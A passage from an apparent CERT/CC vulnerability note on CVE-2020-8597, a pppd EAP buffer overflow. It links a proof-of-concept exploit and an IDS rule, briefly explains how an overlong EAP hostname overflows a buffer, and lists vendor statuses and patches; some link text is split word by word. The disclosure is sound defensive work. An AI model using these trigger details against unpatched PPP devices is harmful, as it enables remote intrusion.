[available](<https://github.com/CERTCC/PoC-Exploits/blob/master/cve-2020-8597-pptpd/pptp_poc.py>) in the CERT/CC PoC respository\n\n#### Detection Signature (IDS)\n\nA Snort/Surricata IDS rule to detect cve-2020-8597 buffer overflow attempts against PPTP servers is also [available](<https://github.com/CERTCC/PoC-Exploits/blob/master/cve-2020-8597-pptpd/cve-2020-8597-pptpd.rules>) in the CERT/CC PoC respository. \n\n### Workaround\n\nThere is no viable work around except to patch the software with updated software made available by the software vendors.\n\n### Acknowledgements\n\nThanks to Ilja Van Sprundel from IOActive for reporting this vulnerability.\n\nThis document was written by Vijay Sarvepalli.\n\n### Vendor Information\n\n782301\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n### Amazon __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nVisit ALAS post https://alas.aws.amazon.com/AL2/ALAS-2020-1400.html for details of this vulnerability\n\n#### References\n\n * <https://alas.aws.amazon.com/AL2/ALAS-2020-1400.html>\n\n#### CERT Addendum\n\nAmazon Linux has adopted RedHat advisory and published their own updates. Please see Vendor URL section for details.\n\n### Arch Linux __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://security.archlinux.org/ASA-202003-3/generate>\n\n#### CERT Addendum\n\nArchLinux has updated its advisory on March 7 2020,with ASA-202003-3 advisory with resolution statement\"Upgrade to 2.4.7-7. #pacman -Syu\"ppp>=2.4.7-7\"The problem has been fixed upstream but no release is available yet.\"\n\n### CentOS __ Affected\n\nUpdated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://pkgs.org/search/?q=ppp>\n * <https://centos.pkgs.org/8/centos-baseos-x86_64/ppp-2.4.7-26.el8_1.x86_64.rp>\n * [m.html](<m.html>)\n * <https://centos.pkgs.org/7/centos-updates-x86_64/ppp-2.4.5-34.el7_7.x86_64.r>\n * [pm.html](<pm.html>)\n\n#### CERT Addendum\n\n2020-02-25 - Jaroslav Skarvada[jskarvad@redhat.com](<mailto:jskarvad@redhat.com>)\\- 2.4.5-34 - Fixed buffer overflow in the eap_request and eap_response functions Resolves:CVE-2020-8597 Centos 8: Update provided follow the Vendor URL for your architecture Centos 7: Update provided follow the Vendor URL for your version and architecture Centos 6: End of Life no updates available\n\n### Check Point __ Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nSee Checkpoint security advisory sk165875 link in Vendor URL section.\n\n#### References\n\n * <https://supportcontent.checkpoint.com/solutions?id=sk165875>\n\n### Debian GNU/Linux __ Affected\n\nUpdated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nPackage:ppp Version:2.4.6-3.1+deb8u1 CVE ID:CVE-2020-8597 Debian Bug:950618 Ilja Van Sprundel discovered a buffer overflow vulnerability in ppp,the Point-to-Point Protocol daemon. When receiving an EAP Request message in client mode,an attacker was able to overflow the rhostname array by providing a very long name. This issue is also mitigated by Debian's hardening build flags. For Debian 8\"Jessie\",this problem has been fixed in version 2.4.6-3.1+deb8u1. We recommend that you upgrade your ppp packages. Further information about Debian LTS security advisories,how to apply these updates to your system and frequently asked questions can be\n\n#### References\n\n * <https://wiki.debian.org/LTS>\n * <https://security-tracker.debian.org/tracker/CVE-2020-8597>\n\n#### CERT Addendum\n\nVendor bug report can be found in https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=950618\n\n### Fedora Project __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://bodhi.fedoraproject.org/updates/FEDORA-2020-571091c70b>\n * <https://koji.fedoraproject.org/koji/buildinfo?buildID=1468692>\n\n#### CERT Addendum\n\nFedora Project has put out new software updates to address this issue on Fri,21 Feb 2020 16:44:33 UTC,please use the vendor's URL's to find the suitable update for your version of Fedora and your platform.\n\n### Google __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://source.android.com/security/bulletin/2020-06-01>\n\n#### CERT Addendum\n\nPlease see Google's advisory that was recently published to acknowledge this issue.\n\n### NetBSD __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <http://cvsweb.netbsd.org/bsdweb.cgi/src/external/bsd/ppp/dist/pppd/eap.c?on>\n * [ly_with_tag=MAIN](<ly_with_tag=MAIN>)\n * <http://ftp.netbsd.org/pub/NetBSD/packages/vulns/pkg-vulnerabilities>\n\n#### CERT Addendum\n\nNetBSD external ppp has been updated in the CVS repository. Users can set up pkg_admin to download the pkg-vulnerabilities file daily(URL in the Vendor URL section),and include a package audit in the daily security script. Details on this are located in the MESSAGE file for pkg_install.\n\n### OpenWRT __ Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nSecurity Advisory 2020-02-21-1 - ppp buffer overflow vulnerability(CVE-2020-8597)DESCRIPTION A remotely exploitable vulnerability was found in Point-to-Point Protocol Daemon(pppd),which has a significant potential impact due to the possibility of remote code execution prior to authentication. OpenWrt by default enables the_FORTIFY_SOURCE=1 compiler macro which introduces additional checks to detect buffer-overflows in the standard library functions,thus protecting the memcpy()abused in this overflow,preventing the actual buffer overflow and hence possible remote code execution by instead terminating the pppd daemon. Due to those defaults the impact of the issue was changed to a denial of service vulnerability,which is now also addressed by this fix. CVE-2020-8597 has been assigned to this issue,you can find the latest version of this advisory on our wiki. REQUIREMENTS In order to exploit this vulnerability,a malicious attacker would need to provide specially crafted EAP Request packet of type EAPT_MD5CHAP to ppp running in client mode and thus overflowing the rhostname string buffer by providing a very long hostname. MITIGATIONS To fix this issue,update the affected ppp package using the command below. `opkg update; opkg upgrade ppp`The fix is contained in the following and later versions: OpenWrt master:2020-02-20 reboot-12255-g215598fd0389 OpenWrt 19.07:2020-02-20 v19.07.1-17-g6b7eeb74dbf8 OpenWrt 18.06:2020-02-20 v18.06.7-6-gcc78f934a946 AFFECTED VERSIONS To our knowledge,OpenWrt versions 18.06.0 to 18.06.7 and versions 19.07.0 to 19.07.1 are affected. The fixed packages will be integrated in the upcoming OpenWrt 18.06.8 and OpenWrt 19.07.2 releases. Older versions of OpenWrt(e.g. OpenWrt 15.05 and LEDE 17.01)are end of life and not supported any more.\n\n#### References\n\n * <https://openwrt.org/advisory/2020-02-21-1>\n\n### PePLink __ Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://forum.peplink.com/t/is-peplink-affected-by-the-pppd-buffer-overflow>\n * [-flaw/26706](<-flaw/26706>)\n\n### Red Hat Inc. __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nThe ppp packages distributed with Red Hat Enterprise Linux versions are compiled using gcc's stack-protector feature. The\"Stack Smashing Protection\"may help mitigate code execution attacks for this flaw and limit its impact to crash only. This flaw only affects pppd servers and clients when EAP negotiation is used. pppd will refuse to do EAP negotiation unless it has an appropriate secret to use. The secret has to be added to/etc/ppp/chap-secrets. EAP can use CHAP or SRP as the underlying flavour of authentication,Red Hat packages are not compiled with SRP code.\n\n#### References\n\n * <https://access.redhat.com/security/cve/cve-2020-8597>\n * <https://bugzilla.redhat.com/show_bug.cgi?id=1800727>\n * <https://access.redhat.com/errata/RHSA-2020:0630>\n\n#### CERT Addendum\n\nRedhat has created a Bug ID 1800727 for this vulnerability. RedHat has put our updates for their supported platforms. The vendor URL section has links to these updates. It is assumed that EAP needs to be enabled for this vulnerability to be exposed. However this is not the case as shown by Ilja Van Spronkel that even if EAP is disabled,an unauthenticated and unsolicited EAP packet can be send to trigger this vulnerability.\n\n### SUSE Linux __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe are indeed affected by this vulnerability in all our supported codestreams. However,this is mitigated by the FORTIFY_SOURCE overflow checking and also by the Stack Protector Overflow heuristic protection that our products ship. Updates are also on the way and we are going to release them within the next weeks. One can track the progress of the update along with all the affected software in our security page mentioned in the vendor URL section.\n\n#### References\n\n * <https://www.suse.com/security/cve/CVE-2020-8597/>\n\n### Sierra Wireless __ Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have published a security advisory for this issue. All new information will be updated on the advisory link below.\n\n#### References\n\n * <https://www.sierrawireless.com/company/security/>\n\n### Slackware Linux Inc. __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * [http://www.slackware.com/security/viewer.php?l=slackware-security&y=2020&m=slackware-security.426655](<http://www.slackware.com/security/viewer.php?l=slackware-security&y=2020&m=slackware-security.426655>)\n\n#### CERT Addendum\n\nVendor has released a security advisory Wed,4 Mar 2020 14:34:55 PST. Check to make sure you are subscribed to slackware-security@slackware.com and security@slackware.com is in your whitelist to receive slackware's security advisories.\n\n### Synology __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nSynology confirms the following products are affected: - DiskStation Manager(DSM)- VisualStation VS960HD - Synology Router Manager(SRM)Synology has published a security advisory on 2020-03-06 10:40:29 UTC+8 at https://www.synology.com/security/advisory/Synology_SA_20_02\n\n#### References\n\n * <https://www.synology.com/security/advisory/Synology_SA_20_02>\n * <https://www.synology.com/dsm>\n * <https://www.synology.com/products/VS960HD>\n * <https://www.synology.com/srm>\n\n### TP-LINK __ Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have published a security advisory for this issue(see link below in Vendor URLs section). And we are still working on this,and all new information will be updated on this advisory.\n\n#### References\n\n * <https://www.tp-link.com/en/support/faq/2803/>\n\n### Ubiquiti Networks __ Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://community.ui.com/releases>\n * <https://community.ui.com/releases/EdgeMAX-EdgeRouter-Security-Firmware-Upda>\n * [te-v2-0-8-hotfix-1/e07022da-f8c7-4cb5-b020-5633c4f5455c](<te-v2-0-8-hotfix-1/e07022da-f8c7-4cb5-b020-5633c4f5455c>)\n\n#### CERT Addendum\n\nUbiquiti Networks has put out advisory using their community releases with an updated firmware to address this vulnerability. Please check the URL's below for obtaining the right firmware to patch your systems.\n\n### Ubuntu __ Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://usn.ubuntu.com/4288-1/https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-8597.html>\n * <https://wiki.ubuntu.com/Security/Upgrades>\n\n#### CERT Addendum\n\nThe ppp security issue affects these releases of Ubuntu and its derivatives: Ubuntu 19.10 Ubuntu 18.04 LTS Ubuntu 16.04 LTS The problem can be corrected by updating your system to the following package versions respectively: Ubuntu 19.10 ppp - 2.4.7-2+4.1ubuntu4.1 Ubuntu 18.04 LTS - ppp - 2.4.7-2+2ubuntu1.2 Ubuntu 16.04 LTS - ppp - 2.4.7-1+2ubuntu1.16.04.2 To update your system,use system package manager provided as part of Ubuntu..\n\n### Wind River __ Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://support2.windriver.com/index.php?page=defects>\n * [https://support2.windriver.com/index.php?page=defects&on=list&order_by=defe](<https://support2.windriver.com/index.php?page=defects&on=list&order_by=defe>)\n * [ct_created_date&order_way=desc&show=50&defect_product=82&defect_product_ver](<ct_created_date&order_way=desc&show=50&defect_product=82&defect_product_ver>)\n * [sion=&defect_severity=0&defect_status=0&s=cve-2020-8597&submit=#list](<sion=&defect_severity=0&defect_status=0&s=cve-2020-8597&submit=#list>)\n\n#### CERT Addendum\n\nWind River support and defects page provides way to search for products affected by this vulnerability. As of Feb 4 2020,the security updates pages shows this CVE is being addressed by Windriver. Please use this defects page to search for your product or search for the CVE-2020-8597 as\"Keyword\"to obtain the relevant software and firmware updates.\n\n### AVM GmbH __ Not Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nFRITZ!Box and other AVM products are not affected. AVM does not use the ppp implementation from the pppd project.\n\n### Actiontec __ Not Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe are using an older version of pppd that does not use EAP and does not have this vulnerability.\n\n### Apple __ Not Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### CERT Addendum\n\nApple has a forked version of ppp that was modified years earlier. It shows not affected due to the source code changes.\n\n### Arista Networks Inc. __ Not Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nArista products do not have any features using pppd,hence no Arista products are affected.\n\n### Brocade Communication Systems __ Not Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nNo other Brocade Fibre Channel technology products from Broadcom are currently known to be affected by these vulnerabilities\n\n### CoreOS __ Not Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nCoreOS Container Linux does not ship pppd.\n\n### DrayTek Corporation __ Not Affected\n\nNotified: 2020-02-13 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nThank you for your request for Technical Support. EAP isn't supported on 3900/2960/300B PPTP,so these should not be affected. The rest of the models are running in non-linux platform,the PPTP service isn't using pppd either.\n\n#### References\n\n * <https://www.draytek.com/about/security-advisory/>\n\n#### CERT Addendum\n\nUpdated information from Draytek March 6,2020 Draytek DSL models are running in our in-house OS,they won't be affected by this vulnerability. Draytek also plans to add protection in the next firmware release to enhance the security for Vigor3900/2960,although EAP is not enabled or supported. Please check advisory URL mentioned below for updates.\n\n### Fortinet __ Not Affected\n\nNotified: 2020-02-13 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nFortinet FortiOS are not impacted by this vulnerability\n\n### FreeBSD Project __ Not Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nFreeBSD does not distribute pppd.\n\n#### CERT Addendum\n\nA review of the pppd source tree suggests that FreeBSD do not include pppd in the base system(removed in r190751 - ten years ago). The first pppd version that contained the vulnerability was 2.4.2,and FreeBSD has never shipped with that version.\n\n### HardenedBSD __ Not Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nHardenedBSD does not ship with this software in the base operating system.\n\n### Juniper Networks __ Not Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nJuniper is not impacted by this vulnerability\n\n### LANCOM Systems GmbH __ Not Affected\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nLANCOM Systems products are not vulnerable to these vulnerabilities.\n\n### MikroTik __ Not Affected\n\nNotified: 2020-02-13 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nThe described issue is with EAP authentication,which RouterOS doesn't support for PPP\n\n### OpenBSD Not Affected\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### lwIP __ Not Affected\n\nNotified: 2020-02-05 Updated: 2020-06-19 **CVE-2020-8597**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nlwIP is a bit different than pppd,we added a lot of preprocessor directives to enable or disable features at compile time in order to reduce binary size output and EAP is disabled by default: http://git.savannah.nongnu.org/cgit/lwip.git/tree/src/include/netif/ppp/ppp_opts.h?id=d281d3e9592a3ca2ad0c3b7840f8036facc02f7b#n234 http://git.savannah.nongnu.org/cgit/lwip.git/tree/src/netif/ppp/eap.c?id=d2 81d3e9592a3ca2ad0c3b7840f8036facc02f7b#n46 That is,no product using lwIP were ever shipped with the EAP code compiled at all.\n\n#### References\n\n * [If](<If>)\n * [you](<you>)\n * [plan](<plan>)\n * [to](<to>)\n * [compile](<compile>)\n * [lwIP](<lwIP>)\n * [with](<with>)\n * [EAP](<EAP>)\n * [support,please](<support,please>)\n * [ensure](<ensure>)\n * [you](<you>)\n * [apply](<apply>)\n * [both](<both>)\n * [the](<the>)\n * [patches](<patches>)\n * [linked](<linked>)\n * [below](<below>)\n * [as](<as>)\n * [it](<it>)\n * [also](<also>)\n * [resolves](<resolves>)\n * [the](<the>)\n * [issue](<issue>)\n * [of](<of>)\n * [preventing](<preventing>)\n * [response](<response>)\n * [to](<to>)\n * [unsolicited](<unsolicited>)\n * [EAP](<EAP>)\n * [messages](<messages>)\n * [as](<as>)\n * [well](<well>)\n * [as](<as>)\n * [buffer](<buffer>)\n * [overflow](<overflow>)\n * [due](<due>)\n * [to](<to>)\n * [the](<the>)\n * [bounds](<bounds>)\n * [check](<check>)\n * [logic](<logic>)\n * [flaw.](<flaw.>)\n * <http://git.savannah.nongnu.org/cgit/lwip.git/commit/?id=2ee3cbe69c6d2805e64>\n * [e7cac2a1c1706e49ffd86](<e7cac2a1c1706e49ffd86>)\n * <http://git.savannah.nongnu.org/cgit/lwip.git/commit/?id=d281d3e9592a3ca2ad0>\n * [c3b7840f8036facc02f7b](<c3b7840f8036facc02f7b>)\n\n#### CERT Addendum\n\nEAP was never used by any lwIP user. The lwIP PPP support is mostly used with cellular modems only as a framing protocol limited to the serial link between the MCU and the modem were security is less relevant because it is not authenticated anyway. The lwIP so far has had support for PAP,CHAP,MS-CHAP(tied to MPPE keys exchange),but EAP has never been enabled from compile time.\n\n### Cisco __ Unknown\n\nUpdated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://quickview.cloudapps.cisco.com/quickview/bug/CSCvs95534/>\n\n#### CERT Addendum\n\nCisco is investigating this issue and has assigned a bug ID CSCvs95534.\n\n### NetApp __ Unknown\n\nUpdated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://security.netapp.com/advisory/ntap-20200313-0004/>\n\n#### CERT Addendum\n\nNetApp is investigating this issue and will continue to update this advisory as additional information becomes available. This advisory should be considered the single source of current,up-to-date,authorized and accurate information from NetApp. Advisory ID:NTAP-20200313-0004 Version:2.0 Last updated:03/16/2020 Status:Interim. CVEs:CVE-2020-8597.\n\n### A10 Networks Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### ACCESS Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### ADTRAN Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### ARRIS Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### ASUSTeK Computer Inc. Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### AT&T Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Alcatel-Lucent Enterprise Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Alpine Linux Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Aspera Inc. Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Avaya Inc. Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Belkin Inc. Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Buffalo Technology Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Comcast Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Cradlepoint Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### D-Link Systems Inc. Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Dell EMC Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### DesktopBSD Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Deutsche Telekom Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### DragonFly BSD Project Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Extreme Networks Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### F-Secure Corporation Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### F5 Networks Inc. Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Geexbox Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Gentoo Linux Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### HP Inc. Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Hewlett Packard Enterprise Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Hitachi Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Huawei Technologies Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### IBM Corporation Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Illumos Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Intel Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Joyent Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Lenovo Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Linksys Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Marconi Inc. Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Micro Focus Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Microsoft Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Mitel Networks Inc. Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Motorola Inc. Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### NEC Corporation Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Netgear Inc. Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Nexenta Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Nokia Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### OpenIndiana Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Openwall GNU/*/Linux Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Oracle Corporation Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### QNX Software Systems Inc. Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Quagga Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Quantenna Communications Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Ruckus Wireless Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown 